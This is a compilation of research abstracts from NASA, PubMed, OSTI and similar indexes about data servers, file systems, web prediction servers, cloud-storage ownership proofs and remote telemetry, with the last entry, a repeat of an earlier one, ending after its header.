The NASA Science Mission Directive Science Plan stresses that the primary goals of Heliophysics research focus on the understanding of the Sun's influence on the Earth and other bodies in the solar system. The NASA Heliophysics Division has adopted the Virtual Observatory, or VxO, concept in order to enable scientists to easily discover and access all data products relevant to these goals via web portals that act as clearinghouses. Furthermore, Heliophysics discipline scientists have defined the Space Physics Archive Search and Extract (SPASE) metadata schema in order to describe the contents of such applicable data products with detail extending all the way down to the parameter level. One SPASE metadata description file must be written to describe each data product at the global level. And the collection of such data product metadata description files, stored in repositories, provides the searchable content that the VxO web sites require in order to match the list of products to the unique needs of each researcher. The VxO metadata repository content also allows one to provide links to each unique data file contained in the full complement of files on a per data product basis. These links are contained within SPASE "Granule" description files and permit uniform access, worldwide, regardless of data server location thus permitting the VxO clearinghouse capability. The VxO concept is sound in theory but difficult in practice given that the Heliophysics data environment is diverse, ever expanding, and volatile. Thus, it is imperative to update the VxO metadata repositories in order to provide a complete, accurate, and current portrayal of the data environment. Such attention to detail is not a VxO desire but a necessity in order to support Heliophysics researchers and foster VxO user loyalty. An application of these basic tenets to the construction of a VxO repository dedicated to providing access to the CDF-formatted data collection hosted on the NASA Goddard CDAWeb data server. Note that the CDF format is self-describing and thus it provides a source of information for initiating SPASE metadata description at the data product level. Also, the CDAWeb data server provides high-quality data product tracking down to the individual data file level permitting easy updating of SPASE Granule metadata.

The NCAR Research Data Archive's Hybrid Approach for Data Discovery and Access

NASA Astrophysics Data System (ADS)

Schuster, D.; Worley, S. J.

2013-12-01

The NCAR Research Data Archive (RDA http://rda.ucar.edu) maintains a variety of data discovery and access capabilities for it's 600+ dataset collections to support the varying needs of a diverse user community. In-house developed and standards-based community tools offer services to more than 10,000 users annually. By number of users the largest group is external and access the RDA through web based protocols; the internal NCAR HPC users are fewer in number, but typically access more data volume. This paper will detail the data discovery and access services maintained by the RDA to support both user groups, and show metrics that illustrate how the community is using the services. The distributed search capability enabled by standards-based community tools, such as Geoportal and an OAI-PMH access point that serves multiple metadata standards, provide pathways for external users to initially discover RDA holdings. From here, in-house developed web interfaces leverage primary discovery level metadata databases that support keyword and faceted searches. Internal NCAR HPC users, or those familiar with the RDA, may go directly to the dataset collection of interest and refine their search based on rich file collection metadata. Multiple levels of metadata have proven to be invaluable for discovery within terabyte-sized archives composed of many atmospheric or oceanic levels, hundreds of parameters, and often numerous grid and time resolutions. Once users find the data they want, their access needs may vary as well. A THREDDS data server running on targeted dataset collections enables remote file access through OPENDAP and other web based protocols primarily for external users. In-house developed tools give all users the capability to submit data subset extraction and format conversion requests through scalable, HPC based delayed mode batch processing. Users can monitor their RDA-based data processing progress and receive instructions on how to access the data when it is ready. External users are provided with RDA server generated scripts to download the resulting request output. Similarly they can download native dataset collection files or partial files using Wget or cURL based scripts supplied by the RDA server. Internal users can access the resulting request output or native dataset collection files directly from centralized file systems.

Saguaro: a distributed operating system based on pools of servers. Annual report, 1 January 1984-31 December 1986

DOE Office of Scientific and Technical Information (OSTI.GOV)

Andrews, G.R.

1986-03-03

Prototypes of components of the Saguaro distributed operating system were implemented and the design of the entire system refined based on the experience. The philosophy behind Saguaro is to support the illusion of a single virtual machine while taking advantage of the concurrency and robustness that are possible in a network architecture. Within the system, these advantages are realized by the use of pools of server processes and decentralized allocation protocols. Potential concurrency and robustness are also made available to the user through low-cost mechanisms to control placement of executing commands and files, and to support semi-transparent file replication andmore » access. Another unique aspect of Saguaro is its extensive use of type system to describe user data such as files and to specify the types of arguments to commands and procedures. This enables the system to assist in type checking and leads to a user interface in which command-specific templates are available to facilitate command invocation. A mechanism, channels, is also provided to enable users to construct applications containing general graphs of communication processes.« less

Shuttle-Data-Tape XML Translator

NASA Technical Reports Server (NTRS)

Barry, Matthew R.; Osborne, Richard N.

2005-01-01

JSDTImport is a computer program for translating native Shuttle Data Tape (SDT) files from American Standard Code for Information Interchange (ASCII) format into databases in other formats. JSDTImport solves the problem of organizing the SDT content, affording flexibility to enable users to choose how to store the information in a database to better support client and server applications. JSDTImport can be dynamically configured by use of a simple Extensible Markup Language (XML) file. JSDTImport uses this XML file to define how each record and field will be parsed, its layout and definition, and how the resulting database will be structured. JSDTImport also includes a client application programming interface (API) layer that provides abstraction for the data-querying process. The API enables a user to specify the search criteria to apply in gathering all the data relevant to a query. The API can be used to organize the SDT content and translate into a native XML database. The XML format is structured into efficient sections, enabling excellent query performance by use of the XPath query language. Optionally, the content can be translated into a Structured Query Language (SQL) database for fast, reliable SQL queries on standard database server computers.

MS2PIP prediction server: compute and visualize MS2 peak intensity predictions for CID and HCD fragmentation.

PubMed

Degroeve, Sven; Maddelein, Davy; Martens, Lennart

2015-07-01

We present an MS(2) peak intensity prediction server that computes MS(2) charge 2+ and 3+ spectra from peptide sequences for the most common fragment ions. The server integrates the Unimod public domain post-translational modification database for modified peptides. The prediction model is an improvement of the previously published MS(2)PIP model for Orbitrap-LTQ CID spectra. Predicted MS(2) spectra can be downloaded as a spectrum file and can be visualized in the browser for comparisons with observations. In addition, we added prediction models for HCD fragmentation (Q-Exactive Orbitrap) and show that these models compute accurate intensity predictions on par with CID performance. We also show that training prediction models for CID and HCD separately improves the accuracy for each fragmentation method. The MS(2)PIP prediction server is accessible from http://iomics.ugent.be/ms2pip. © The Author(s) 2015. Published by Oxford University Press on behalf of Nucleic Acids Research.

The TOPCONS web server for consensus prediction of membrane protein topology and signal peptides

PubMed Central

Tsirigos, Konstantinos D.; Peters, Christoph; Shu, Nanjiang; Käll, Lukas; Elofsson, Arne

2015-01-01

TOPCONS (http://topcons.net/) is a widely used web server for consensus prediction of membrane protein topology. We hereby present a major update to the server, with some substantial improvements, including the following: (i) TOPCONS can now efficiently separate signal peptides from transmembrane regions. (ii) The server can now differentiate more successfully between globular and membrane proteins. (iii) The server now is even slightly faster, although a much larger database is used to generate the multiple sequence alignments. For most proteins, the final prediction is produced in a matter of seconds. (iv) The user-friendly interface is retained, with the additional feature of submitting batch files and accessing the server programmatically using standard interfaces, making it thus ideal for proteome-wide analyses. Indicatively, the user can now scan the entire human proteome in a few days. (v) For proteins with homology to a known 3D structure, the homology-inferred topology is also displayed. (vi) Finally, the combination of methods currently implemented achieves an overall increase in performance by 4% as compared to the currently available best-scoring methods and TOPCONS is the only method that can identify signal peptides and still maintain a state-of-the-art performance in topology predictions. PMID:25969446

Logs Perl Module

DOE Office of Scientific and Technical Information (OSTI.GOV)

Owen, R. K.

2007-04-04

A perl module designed to read and parse the voluminous set of event or accounting log files produced by a Portable Batch System (PBS) server. This module can filter on date-time and/or record type. The data can be returned in a variety of formats.

Terascale Cluster for Advanced Turbulent Combustion Simulations

DTIC Science & Technology

2008-07-25

the system We have given the name CATS (for Combustion And Turbulence Simulator) to the terascale system that was obtained through this grant. CATS ...lnfiniBand interconnect. CATS includes an interactive login node and a file server, each holding in excess of 1 terabyte of file storage. The 35 active...compute nodes of CATS enable us to run up to 140-core parallel MPI batch jobs; one node is reserved to run the scheduler. CATS is operated and

A site of communication among enterprises for supporting occupational health and safety management system.

PubMed

Velonakis, E; Mantas, J; Mavrikakis, I

2006-01-01

The occupational health and safety management constitutes a field of increasing interest. Institutions in cooperation with enterprises make synchronized efforts to initiate quality management systems to this field. Computer networks can offer such services via TCP/IP which is a reliable protocol for workflow management between enterprises and institutions. A design of such network is based on several factors in order to achieve defined criteria and connectivity with other networks. The network will be consisted of certain nodes responsible to inform executive persons on Occupational Health and Safety. A web database has been planned for inserting and searching documents, for answering and processing questionnaires. The submission of files to a server and the answers to questionnaires through the web help the experts to make corrections and improvements on their activities. Based on the requirements of enterprises we have constructed a web file server. We submit files in purpose users could retrieve the files which need. The access is limited to authorized users and digital watermarks authenticate and protect digital objects. The Health and Safety Management System follows ISO 18001. The implementation of it, through the web site is an aim. The all application is developed and implemented on a pilot basis for the health services sector. It is all ready installed within a hospital, supporting health and safety management among different departments of the hospital and allowing communication through WEB with other hospitals.

The development of an information system and installation of an Internet web database for the purposes of the occupational health and safety management system.

PubMed

Mavrikakis, I; Mantas, J; Diomidous, M

2007-01-01

This paper is based on the research on the possible structure of an information system for the purposes of occupational health and safety management. We initiated a questionnaire in order to find the possible interest on the part of potential users in the subject of occupational health and safety. The depiction of the potential interest is vital both for the software analysis cycle and development according to previous models. The evaluation of the results tends to create pilot applications among different enterprises. Documentation and process improvements ascertained quality of services, operational support, occupational health and safety advice are the basics of the above applications. Communication and codified information among intersted parts is the other target of the survey regarding health issues. Computer networks can offer such services. The network will consist of certain nodes responsible to inform executives on Occupational Health and Safety. A web database has been installed for inserting and searching documents. The submission of files to a server and the answers to questionnaires through the web help the experts to perform their activities. Based on the requirements of enterprises we have constructed a web file server. We submit files so that users can retrieve the files which they need. The access is limited to authorized users. Digital watermarks authenticate and protect digital objects.

Users' information-seeking behavior on a medical library Website

PubMed Central

Rozic-Hristovski, Anamarija; Hristovski, Dimitar; Todorovski, Ljupco

2002-01-01

The Central Medical Library (CMK) at the Faculty of Medicine, University of Ljubljana, Slovenia, started to build a library Website that included a guide to library services and resources in 1997. The evaluation of Website usage plays an important role in its maintenance and development. Analyzing and exploring regularities in the visitors' behavior can be used to enhance the quality and facilitate delivery of information services, identify visitors' interests, and improve the server's performance. The analysis of the CMK Website users' navigational behavior was carried out by analyzing the Web server log files. These files contained information on all user accesses to the Website and provided a great opportunity to learn more about the behavior of visitors to the Website. The majority of the available tools for Web log file analysis provide a predefined set of reports showing the access count and the transferred bytes grouped along several dimensions. In addition to the reports mentioned above, the authors wanted to be able to perform interactive exploration and ad hoc analysis and discover trends in a user-friendly way. Because of that, we developed our own solution for exploring and analyzing the Web logs based on data warehousing and online analytical processing technologies. The analytical solution we developed proved successful, so it may find further application in the field of Web log file analysis. We will apply the findings of the analysis to restructuring the CMK Website. PMID:11999179

Efficient proof of ownership for cloud storage systems

NASA Astrophysics Data System (ADS)

Zhong, Weiwei; Liu, Zhusong

2017-08-01

Cloud storage system through the deduplication technology to save disk space and bandwidth, but the use of this technology has appeared targeted security attacks: the attacker can deceive the server to obtain ownership of the file by get the hash value of original file. In order to solve the above security problems and the different security requirements of the files in the cloud storage system, an efficient and information-theoretical secure proof of ownership sceme is proposed to support the file rating. Through the K-means algorithm to implement file rating, and use random seed technology and pre-calculation method to achieve safe and efficient proof of ownership scheme. Finally, the scheme is information-theoretical secure, and achieve better performance in the most sensitive areas of client-side I/O and computation.

An autonomous observation and control system based on EPICS and RTS2 for Antarctic telescopes

NASA Astrophysics Data System (ADS)

Zhang, Guang-yu; Wang, Jian; Tang, Peng-yi; Jia, Ming-hao; Chen, Jie; Dong, Shu-cheng; Jiang, Fengxin; Wu, Wen-qing; Liu, Jia-jing; Zhang, Hong-fei

2016-01-01

For unattended telescopes in Antarctic, the remote operation, autonomous observation and control are essential. An EPICS-(Experimental Physics and Industrial Control System) and RTS2-(Remote Telescope System, 2nd Version) based autonomous observation and control system with remoted operation is introduced in this paper. EPICS is a set of open source software tools, libraries and applications developed collaboratively and used worldwide to create distributed soft real-time control systems for scientific instruments while RTS2 is an open source environment for control of a fully autonomous observatory. Using the advantage of EPICS and RTS2, respectively, a combined integrated software framework for autonomous observation and control is established that use RTS2 to fulfil the function of astronomical observation and use EPICS to fulfil the device control of telescope. A command and status interface for EPICS and RTS2 is designed to make the EPICS IOC (Input/Output Controller) components integrate to RTS2 directly. For the specification and requirement of control system of telescope in Antarctic, core components named Executor and Auto-focus for autonomous observation is designed and implemented with remote operation user interface based on browser-server mode. The whole system including the telescope is tested in Lijiang Observatory in Yunnan Province for practical observation to complete the autonomous observation and control, including telescope control, camera control, dome control, weather information acquisition with the local and remote operation.

iTAR: a web server for identifying target genes of transcription factors using ChIP-seq or ChIP-chip data.

PubMed

Yang, Chia-Chun; Andrews, Erik H; Chen, Min-Hsuan; Wang, Wan-Yu; Chen, Jeremy J W; Gerstein, Mark; Liu, Chun-Chi; Cheng, Chao

2016-08-12

Chromatin immunoprecipitation followed by massively parallel DNA sequencing (ChIP-seq) or microarray hybridization (ChIP-chip) has been widely used to determine the genomic occupation of transcription factors (TFs). We have previously developed a probabilistic method, called TIP (Target Identification from Profiles), to identify TF target genes using ChIP-seq/ChIP-chip data. To achieve high specificity, TIP applies a conservative method to estimate significance of target genes, with the trade-off being a relatively low sensitivity of target gene identification compared to other methods. Additionally, TIP's output does not render binding-peak locations or intensity, information highly useful for visualization and general experimental biological use, while the variability of ChIP-seq/ChIP-chip file formats has made input into TIP more difficult than desired. To improve upon these facets, here we present are fined TIP with key extensions. First, it implements a Gaussian mixture model for p-value estimation, increasing target gene identification sensitivity and more accurately capturing the shape of TF binding profile distributions. Second, it enables the incorporation of TF binding-peak data by identifying their locations in significant target gene promoter regions and quantifies their strengths. Finally, for full ease of implementation we have incorporated it into a web server ( http://syslab3.nchu.edu.tw/iTAR/ ) that enables flexibility of input file format, can be used across multiple species and genome assembly versions, and is freely available for public use. The web server additionally performs GO enrichment analysis for the identified target genes to reveal the potential function of the corresponding TF. The iTAR web server provides a user-friendly interface and supports target gene identification in seven species, ranging from yeast to human. To facilitate investigating the quality of ChIP-seq/ChIP-chip data, the web server generates the chart of the characteristic binding profiles and the density plot of normalized regulatory scores. The iTAR web server is a useful tool in identifying TF target genes from ChIP-seq/ChIP-chip data and discovering biological insights.

First Applications of DoD Iridium RUDICS in the NSF Polar Programs

NASA Astrophysics Data System (ADS)

Valentic, T.; Stehle, R.

2008-12-01

We will present the first deployment and application of the new Iridium RUDICS service to remote instrumentation projects within the National Science Foundation's polar programs. The rise of automated observing networks has increased the demand for real-time connectivity to remote instruments, not only for immediate access to data, but to also interrogate health and status. Communicating with field sites in the polar regions is complicated by the remoteness from existing infrastructure, low temperatures and limited connection options. Sites located above 78° latitude are not able to see geostationary satellites, leaving the Iridium constellation as the only one that provide a direct connection. Some others, such as Orbcomm, only provide a store-and-forward service. Iridium is often used as a dial up modem to establish a PPP connection to the Internet with data files transferred via FTP. On low-bandwidth, high-latency networks like Iridium (2400bps with ping times of seconds), this approach is time consuming and inefficient. The dial up time alone takes upwards of a minute, and standard TCP/IP and FTP protocols are hampered by the long latencies. Minimizing transmission time is important for reducing battery usage and connection costs. The new Iridium RUDICS service can be used for more efficient transfers. RUDICS is an acronym for "Router-based Unstructured Digital Inter-working Connectivity Solution" and provides a direct connection between an instrument in the field and a server on the Internet. After dialing into the Iridium gateway, a socket connection is opened to a registered port on a user's server. Bytes sent to or from the modem appear at the server's socket. The connection time is reduced to about 10 seconds because the modem training and PPP negotiation stages are eliminated. The remote device does not need to have a full TCP/IP stack, allowing smaller instruments such as data loggers to directly handle the data transmission. Alternative protocols can be deployed that better exploit the characteristics of the Iridium channel. In addition, the setup naturally scales to handle hundreds of remote devices, an important aspect for larger sensor networks. As part of the NSF's Arctic Research Support and Logistics Services, we have deployed RUDICS systems with three different research projects. These are the first NSF RUDICS deployments for projects using the Department of Defense Iridium gateway, which allows for unlimited connection time at a flat monthly rate for US government users. The first project is O-Buoy, an IPY-OASIS project for self-contained, autonomous observations of atmospheric chemical species in the polar marine boundary layer. The second project is collection of low-power instrument towers on Alaska's North Slope at Imnavait Creek, part of the Arctic Observation Network (AON). Lastly, the autonomous instrument platform at Ivotuk, Alaska, uses RUDICS to provide telemetry about the renewable energy systems. A set of real-time web displays allow researchers for each project to monitor their remote sites and access real-time data.

1995 Joseph E. Whitley, MD, Award. A World Wide Web gateway to the radiologic learning file.

PubMed

Channin, D S

1995-12-01

Computer networks in general, and the Internet specifically, are changing the way information is manipulated in the world at large and in radiology. The goal of this project was to develop a computer system in which images from the Radiologic Learning File, available previously only via a single-user laser disc, are made available over a generic, high-availability computer network to many potential users simultaneously. Using a networked workstation in our laboratory and freely available distributed hypertext software, we established a World Wide Web (WWW) information server for radiology. Images from the Radiologic Learning File are requested through the WWW client software, digitized from a single laser disc containing the entire teaching file and then transmitted over the network to the client. The text accompanying each image is incorporated into the transmitted document. The Radiologic Learning File is now on-line, and requests to view the cases result in the delivery of the text and images. Image digitization via a frame grabber takes 1/30th of a second. Conversion of the image to a standard computer graphic format takes 45-60 sec. Text and image transmission speed on a local area network varies between 200 and 400 kilobytes (KB) per second depending on the network load. We have made images from a laser disc of the Radiologic Learning File available through an Internet-based hypertext server. The images previously available through a single-user system located in a remote section of our department are now ubiquitously available throughout our department via the department's computer network. We have thus converted a single-user, limited functionality system into a multiuser, widely available resource.

Rosetta: Ensuring the Preservation and Usability of ASCII-based Data into the Future

NASA Astrophysics Data System (ADS)

Ramamurthy, M. K.; Arms, S. C.

2015-12-01

Field data obtained from dataloggers often take the form of comma separated value (CSV) ASCII text files. While ASCII based data formats have positive aspects, such as the ease of accessing the data from disk and the wide variety of tools available for data analysis, there are some drawbacks, especially when viewing the situation through the lens of data interoperability and stewardship. The Unidata data translation tool, Rosetta, is a web-based service that provides an easy, wizard-based interface for data collectors to transform their datalogger generated ASCII output into Climate and Forecast (CF) compliant netCDF files following the CF-1.6 discrete sampling geometries. These files are complete with metadata describing what data are contained in the file, the instruments used to collect the data, and other critical information that otherwise may be lost in one of many README files. The choice of the machine readable netCDF data format and data model, coupled with the CF conventions, ensures long-term preservation and interoperability, and that future users will have enough information to responsibly use the data. However, with the understanding that the observational community appreciates the ease of use of ASCII files, methods for transforming the netCDF back into a CSV or spreadsheet format are also built-in. One benefit of translating ASCII data into a machine readable format that follows open community-driven standards is that they are instantly able to take advantage of data services provided by the many open-source data server tools, such as the THREDDS Data Server (TDS). While Rosetta is currently a stand-alone service, this talk will also highlight efforts to couple Rosetta with the TDS, thus allowing self-publishing of thoroughly documented datasets by the data producers themselves.

SciServer Compute brings Analysis to Big Data in the Cloud

NASA Astrophysics Data System (ADS)

Raddick, Jordan; Medvedev, Dmitry; Lemson, Gerard; Souter, Barbara

2016-06-01

SciServer Compute uses Jupyter Notebooks running within server-side Docker containers attached to big data collections to bring advanced analysis to big data "in the cloud." SciServer Compute is a component in the SciServer Big-Data ecosystem under development at JHU, which will provide a stable, reproducible, sharable virtual research environment.SciServer builds on the popular CasJobs and SkyServer systems that made the Sloan Digital Sky Survey (SDSS) archive one of the most-used astronomical instruments. SciServer extends those systems with server-side computational capabilities and very large scratch storage space, and further extends their functions to a range of other scientific disciplines.Although big datasets like SDSS have revolutionized astronomy research, for further analysis, users are still restricted to downloading the selected data sets locally - but increasing data sizes make this local approach impractical. Instead, researchers need online tools that are co-located with data in a virtual research environment, enabling them to bring their analysis to the data.SciServer supports this using the popular Jupyter notebooks, which allow users to write their own Python and R scripts and execute them on the server with the data (extensions to Matlab and other languages are planned). We have written special-purpose libraries that enable querying the databases and other persistent datasets. Intermediate results can be stored in large scratch space (hundreds of TBs) and analyzed directly from within Python or R with state-of-the-art visualization and machine learning libraries. Users can store science-ready results in their permanent allocation on SciDrive, a Dropbox-like system for sharing and publishing files. Communication between the various components of the SciServer system is managed through SciServer‘s new Single Sign-on Portal.We have created a number of demos to illustrate the capabilities of SciServer Compute, including Python and R scripts accessing a range of datasets and showing the data flow between storage and compute components.Demos, documentation, and more information can be found at www.sciserver.org.SciServer is funded by the National Science Foundation Award ACI-1261715.

Internet Connections to Mathematics Education.

ERIC Educational Resources Information Center

Day, Roger

1995-01-01

Presents Internet connections appropriate for mathematics education; provides descriptions of ways that mathematics educators can access electronic resources such as e-mail, discussion groups, gopher servers, and transfer of files; and provides hints and examples from classroom connections and professional applications. (18 references) (Author/MKR)

PDBsum: Structural summaries of PDB entries.

PubMed

Laskowski, Roman A; Jabłońska, Jagoda; Pravda, Lukáš; Vařeková, Radka Svobodová; Thornton, Janet M

2018-01-01

PDBsum is a web server providing structural information on the entries in the Protein Data Bank (PDB). The analyses are primarily image-based and include protein secondary structure, protein-ligand and protein-DNA interactions, PROCHECK analyses of structural quality, and many others. The 3D structures can be viewed interactively in RasMol, PyMOL, and a JavaScript viewer called 3Dmol.js. Users can upload their own PDB files and obtain a set of password-protected PDBsum analyses for each. The server is freely accessible to all at: http://www.ebi.ac.uk/pdbsum. © 2017 The Protein Society.

SSL - THE SIMPLE SOCKETS LIBRARY

NASA Technical Reports Server (NTRS)

Campbell, C. E.

1994-01-01

The Simple Sockets Library (SSL) allows C programmers to develop systems of cooperating programs using Berkeley streaming Sockets running under the TCP/IP protocol over Ethernet. The SSL provides a simple way to move information between programs running on the same or different machines and does so with little overhead. The SSL can create three types of Sockets: namely a server, a client, and an accept Socket. The SSL's Sockets are designed to be used in a fashion reminiscent of the use of FILE pointers so that a C programmer who is familiar with reading and writing files will immediately feel comfortable with reading and writing with Sockets. The SSL consists of three parts: the library, PortMaster, and utilities. The user of the SSL accesses it by linking programs to the SSL library. The PortMaster initializes connections between clients and servers. The PortMaster also supports a "firewall" facility to keep out socket requests from unapproved machines. The "firewall" is a file which contains Internet addresses for all approved machines. There are three utilities provided with the SSL. SKTDBG can be used to debug programs that make use of the SSL. SPMTABLE lists the servers and port numbers on requested machine(s). SRMSRVR tells the PortMaster to forcibly remove a server name from its list. The package also includes two example programs: multiskt.c, which makes multiple accepts on one server, and sktpoll.c, which repeatedly attempts to connect a client to some server at one second intervals. SSL is a machine independent library written in the C-language for computers connected via Ethernet using the TCP/IP protocol. It has been successfully compiled and implemented on a variety of platforms, including Sun series computers running SunOS, DEC VAX series computers running VMS, SGI computers running IRIX, DECstations running ULTRIX, DEC alpha AXPs running OSF/1, IBM RS/6000 computers running AIX, IBM PC and compatibles running BSD/386 UNIX and HP Apollo 3000/4000/9000/400T computers running HP-UX. SSL requires 45K of RAM to run under SunOS and 80K of RAM to run under VMS. For use on IBM PC series computers and compatibles running DOS, SSL requires Microsoft C 6.0 and the Wollongong TCP/IP package. Source code for sample programs and debugging tools are provided. The documentation is available on the distribution medium in TeX and PostScript formats. The standard distribution medium for SSL is a .25 inch streaming magnetic tape cartridge (QIC-24) in UNIX tar format. It is also available on a 3.5 inch diskette in UNIX tar format and a 5.25 inch 360K MS-DOS format diskette. The SSL was developed in 1992 and was updated in 1993.

Electronic medical file exchange between on-duty care providers and the attending paediatrician: a Belgian paediatric pilot project.

PubMed

Deneyer, M; Hachimi-Idrissi, S; Michel, L; Nyssen, M; De Moor, G; Vandenplas, Y

2012-01-01

The authors propose the introduction of a pilot project: "paediatric core file exchange in emergencies" (PCF-EXEM) which enables the exchange of medical data between the attending paediatrician (AP), holder of the medical record, and on-duty medical units (i.e. general practitioners, paediatricians, surgeons, emergency physicians,...). This project is based on two pillars: a protected server (PCF-server) containing paediatric core files (PCF), with important clinical data that should be available for the physician in order to quickly get a clear insight into the relevant clinical medical history of the child, and secondly, the possibility to provide feedback to the attending physician about the findings recorded during the on-call duty. The permanent availability of health data on the PCF-server and the possibility to provide feedback represent together the PCF-EXEM-project. This project meets the demand of the care providers to have relevant medical information permanently available in order to guarantee high quality care in emergency situations. The frail balance between the right to informative privacy and professional confidentiality on the one hand and the right to quality health care on the other hand has been taken into account. The technical and practical feasibility of this project is described. The objectives and vision of the PCF-EXEM project are conform to Belgian legislation concerning the processing of medical data and are in line with the still under consideration European projects which are focusing on interoperability and the development of a common access control to databanks containing health data for care providers. PCF-EXEM could therefore be a model for other EU countries as well.

Retrieving high-resolution images over the Internet from an anatomical image database

NASA Astrophysics Data System (ADS)

Strupp-Adams, Annette; Henderson, Earl

1999-12-01

The Visible Human Data set is an important contribution to the national collection of anatomical images. To enhance the availability of these images, the National Library of Medicine has supported the design and development of a prototype object-oriented image database which imports, stores, and distributes high resolution anatomical images in both pixel and voxel formats. One of the key database modules is its client-server Internet interface. This Web interface provides a query engine with retrieval access to high-resolution anatomical images that range in size from 100KB for browser viewable rendered images, to 1GB for anatomical structures in voxel file formats. The Web query and retrieval client-server system is composed of applet GUIs, servlets, and RMI application modules which communicate with each other to allow users to query for specific anatomical structures, and retrieve image data as well as associated anatomical images from the database. Selected images can be downloaded individually as single files via HTTP or downloaded in batch-mode over the Internet to the user's machine through an applet that uses Netscape's Object Signing mechanism. The image database uses ObjectDesign's object-oriented DBMS, ObjectStore that has a Java interface. The query and retrieval systems has been tested with a Java-CDE window system, and on the x86 architecture using Windows NT 4.0. This paper describes the Java applet client search engine that queries the database; the Java client module that enables users to view anatomical images online; the Java application server interface to the database which organizes data returned to the user, and its distribution engine that allow users to download image files individually and/or in batch-mode.

Environmental Data Store (EDS): A multi-node Data Storage Facility for diverse sets of Geoscience Data

NASA Astrophysics Data System (ADS)

Piasecki, M.; Ji, P.

2014-12-01

Geoscience data comes in many flavors that are determined by type of data such as continous on a grid or mesh or discrete colelcted at point either as one time samples or a stream of data coming of sensors, but coudl also encompass digital files of any time type such text files, WORD or EXCEL documents, or audio and video files. We present a storage facility that is comprsed of 6 nodes each of speciaized to host a certain data type: grid based data (netCDF on a THREDDS server), GIS data (shapefiles using GeoServer), point time series data (CUAHSI ODM), sample data (EDBS), and any digital data (RAMADAA) plus a server fro Remote sensing data and its products. While there is overlap in data type storage capabilities (rasters can go into several of these nodes) we prefer to use dedicated storage facilities that are a) freeware, and b) have a good degree of maturity, and c) have shown their utility for stroing a cetain type. In addition it allows to place these commonly used software stacks and storage solutiosn side-by-side to develop interoprability strategies. We have used a DRUPAL based system to handle user regoistration and authentication, and also use the system for data submission and data search. In support for tis system we developed an extensive controlled vocabulary system that is an amalgamation of various CVs used in the geosciecne community in order to achieve as high a degree of recognition, such the CF conventions, CUAHSI Cvs, , NASA (GCMD), EPA and USGS taxonomies, GEMET, in addition to ontological representations such as SWEET.

Mass-storage management for distributed image/video archives

NASA Astrophysics Data System (ADS)

Franchi, Santina; Guarda, Roberto; Prampolini, Franco

1993-04-01

The realization of image/video database requires a specific design for both database structures and mass storage management. This issue has addressed the project of the digital image/video database system that has been designed at IBM SEMEA Scientific & Technical Solution Center. Proper database structures have been defined to catalog image/video coding technique with the related parameters, and the description of image/video contents. User workstations and servers are distributed along a local area network. Image/video files are not managed directly by the DBMS server. Because of their wide size, they are stored outside the database on network devices. The database contains the pointers to the image/video files and the description of the storage devices. The system can use different kinds of storage media, organized in a hierarchical structure. Three levels of functions are available to manage the storage resources. The functions of the lower level provide media management. They allow it to catalog devices and to modify device status and device network location. The medium level manages image/video files on a physical basis. It manages file migration between high capacity media and low access time media. The functions of the upper level work on image/video file on a logical basis, as they archive, move and copy image/video data selected by user defined queries. These functions are used to support the implementation of a storage management strategy. The database information about characteristics of both storage devices and coding techniques are used by the third level functions to fit delivery/visualization requirements and to reduce archiving costs.

VISA--Vector Integration Site Analysis server: a web-based server to rapidly identify retroviral integration sites from next-generation sequencing.

PubMed

Hocum, Jonah D; Battrell, Logan R; Maynard, Ryan; Adair, Jennifer E; Beard, Brian C; Rawlings, David J; Kiem, Hans-Peter; Miller, Daniel G; Trobridge, Grant D

2015-07-07

Analyzing the integration profile of retroviral vectors is a vital step in determining their potential genotoxic effects and developing safer vectors for therapeutic use. Identifying retroviral vector integration sites is also important for retroviral mutagenesis screens. We developed VISA, a vector integration site analysis server, to analyze next-generation sequencing data for retroviral vector integration sites. Sequence reads that contain a provirus are mapped to the human genome, sequence reads that cannot be localized to a unique location in the genome are filtered out, and then unique retroviral vector integration sites are determined based on the alignment scores of the remaining sequence reads. VISA offers a simple web interface to upload sequence files and results are returned in a concise tabular format to allow rapid analysis of retroviral vector integration sites.

Proof of cipher text ownership based on convergence encryption

NASA Astrophysics Data System (ADS)

Zhong, Weiwei; Liu, Zhusong

2017-08-01

Cloud storage systems save disk space and bandwidth through deduplication technology, but with the use of this technology has been targeted security attacks: the attacker can get the original file just use hash value to deceive the server to obtain the file ownership. In order to solve the above security problems and the different security requirements of cloud storage system files, an efficient information theory security proof of ownership scheme is proposed. This scheme protects the data through the convergence encryption method, and uses the improved block-level proof of ownership scheme, and can carry out block-level client deduplication to achieve efficient and secure cloud storage deduplication scheme.

78 FR 48472 - Hewlett Packard Company; Enterprise Storage Servers and Networking (Tape) Group; Formerly D/B/A...

Federal Register 2010, 2011, 2012, 2013, 2014

2013-08-08

..., as amended, an investigation was initiated on May 20, 2013 in response to a petition filed on behalf... this 9th day of July, 2013. Del Min Amy Chen, Certifying Officer, Office of Trade Adjustment Assistance...

[PVFS 2000: An operational parallel file system for Beowulf

NASA Technical Reports Server (NTRS)

Ligon, Walt

2004-01-01

The approach has been to develop Parallel Virtual File System version 2 (PVFS2) , retaining the basic philosophy of the original file system but completely rewriting the code. It shows the architecture of the server and client components. BMI - BMI is the network abstraction layer. It is designed with a common driver and modules for each protocol supported. The interface is non-blocking, and provides mechanisms for optimizations including pinning user buffers. Currently TCP/IP and GM(Myrinet) modules have been implemented. Trove -Trove is the storage abstraction layer. It provides for storing both data spaces and name/value pairs. Trove can also be implemented using different underlying storage mechanisms including native files, raw disk partitions, SQL and other databases. The current implementation uses native files for data spaces and Berkeley db for name/value pairs.

Design of a steganographic virtual operating system

NASA Astrophysics Data System (ADS)

Ashendorf, Elan; Craver, Scott

2015-03-01

A steganographic file system is a secure file system whose very existence on a disk is concealed. Customarily, these systems hide an encrypted volume within unused disk blocks, slack space, or atop conventional encrypted volumes. These file systems are far from undetectable, however: aside from their ciphertext footprint, they require a software or driver installation whose presence can attract attention and then targeted surveillance. We describe a new steganographic operating environment that requires no visible software installation, launching instead from a concealed bootstrap program that can be extracted and invoked with a chain of common Unix commands. Our system conceals its payload within innocuous files that typically contain high-entropy data, producing a footprint that is far less conspicuous than existing methods. The system uses a local web server to provide a file system, user interface and applications through a web architecture.

The TOPCONS web server for consensus prediction of membrane protein topology and signal peptides.

PubMed

Tsirigos, Konstantinos D; Peters, Christoph; Shu, Nanjiang; Käll, Lukas; Elofsson, Arne

2015-07-01

